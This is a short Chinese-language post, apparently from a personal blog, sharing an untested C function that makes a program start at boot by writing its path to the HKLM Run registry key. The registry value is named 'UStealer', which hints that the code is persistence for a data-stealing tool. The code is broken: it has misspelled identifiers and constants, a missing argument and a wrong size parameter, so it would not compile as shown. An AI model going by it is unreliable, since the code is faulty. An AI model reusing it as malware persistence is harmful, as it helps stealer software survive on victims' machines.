贴出昨天没有完成的程序代码,自己还没有来得及在程序中试用,因此此函数自作参考用
BOOL autorun()
{/*设置程序开机自启动,执行成功返回TRUE,否则返回FALSE
writer: shannon
此函数须实际应用中只需稍作修改
*/
//获取程序目录
HMODULE module=GetModuleHandle();
char FilePath[MAX_PATH]={0};
GetModuleFileName(module,FilePath,MAX_PATH);
//打开注册表
HKEY hkey;
LONG flag=NULL;
falg=RegOpenKeyEx(
HKET_LOCAL_MACHINE,
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
0,
KEY_ALL_ACCESS,
&hkey
);
if(flag!=ERROR_SUCCEDD)
{
printf("注册表打开失败\n");
return FALSE;
}
//修改注册表信息,设置开机自启动
RegSetValueEx(hkey,"UStealer",0,REG_SZ,FilePath,MAX_PATH);
RegCloseKey(hkey);
return TURE;
}